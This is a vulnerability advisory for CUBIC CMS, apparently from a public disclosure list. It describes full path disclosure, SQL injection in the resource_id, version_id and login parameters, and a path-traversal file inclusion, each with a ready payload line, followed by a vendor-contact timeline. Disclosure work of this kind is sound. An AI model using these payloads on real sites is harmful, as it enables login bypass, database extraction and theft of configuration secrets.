61 lines
No EOL
2.1 KiB
Text
61 lines
No EOL
2.1 KiB
Text
I. BACKGROUND
|
|
-------------------------
|
|
"CUBIC CMS" is a non-free content management system for websites and
|
|
portals of any size, powerful, adaptable to any graphic design that
|
|
allows users administration 100% professional but simple at the same
|
|
time that website.
|
|
|
|
II. VULNERABILITIES
|
|
-------------------------
|
|
|
|
II.i FULL PATH DISCLOSURE
|
|
-------------------------
|
|
CUBIC CMS presents a full path disclosure in the 'Controller Not Found'
|
|
exception management, due to an incorrect 'Software Exception' management.
|
|
|
|
Syntax:
|
|
http://www.example.com/id/-22
|
|
http://www.example.com/foo.bar
|
|
|
|
II.ii SQL Injection
|
|
-------------------------
|
|
CUBIC CMS presents a SQL Injection in its 'resource_id' and 'version_id' parameters
|
|
on his '/recursos/agent.php' (Resources Management Module) script via GET HTTP
|
|
Method, due to an insufficient sanitization on user supplied data.
|
|
|
|
Syntax:
|
|
http://www.example.com/recursos/agent.php?resource_id=-11 OR 'foobar' UNION SELECT user()-- -
|
|
http://www.example.com/recursos/agent.php?version_id=-22 OR '' UNION SELECT @@version-- -
|
|
|
|
II.iii SQL Injection
|
|
-------------------------
|
|
CUBIC CMS presents a SQL Injection in its 'login' and 'pass' parameters on his
|
|
'/login.usuario' (Users Management Module) script via POST HTTP Method, due to an
|
|
insufficient sanitization on user supplied data.
|
|
|
|
Syntax:
|
|
login=Administrator&pass=foobar') or ('1'='1
|
|
|
|
II.iv Local File Inclusion
|
|
-------------------------
|
|
CUBIC CMS presents a SQL Injection in its 'path' parameter on his
|
|
'/recursos/agent.php' (Resources Management Module) script via GET HTTP Method,
|
|
due to an insufficient sanitization on user supplied data.
|
|
|
|
Syntax:
|
|
http://www.example.com/recursos/agent.php?path=/../../application/config/project.ini
|
|
|
|
IV. REFERENCES
|
|
-------------------------
|
|
http://www.proyectosbds.com
|
|
http://www.cubicfactory.com/
|
|
|
|
V. DISCLOSURE TIMELINE
|
|
-------------------------
|
|
- March 28, 2012: First Vendor Contact.
|
|
- Dec 30, 2013: Second Vendor Contact (Still waiting for responses).
|
|
|
|
VI. CREDITS
|
|
-------------------------
|
|
This vulnerability has been discovered
|
|
by Eugenio Delfa <ed (at) isbox (dot) org>. |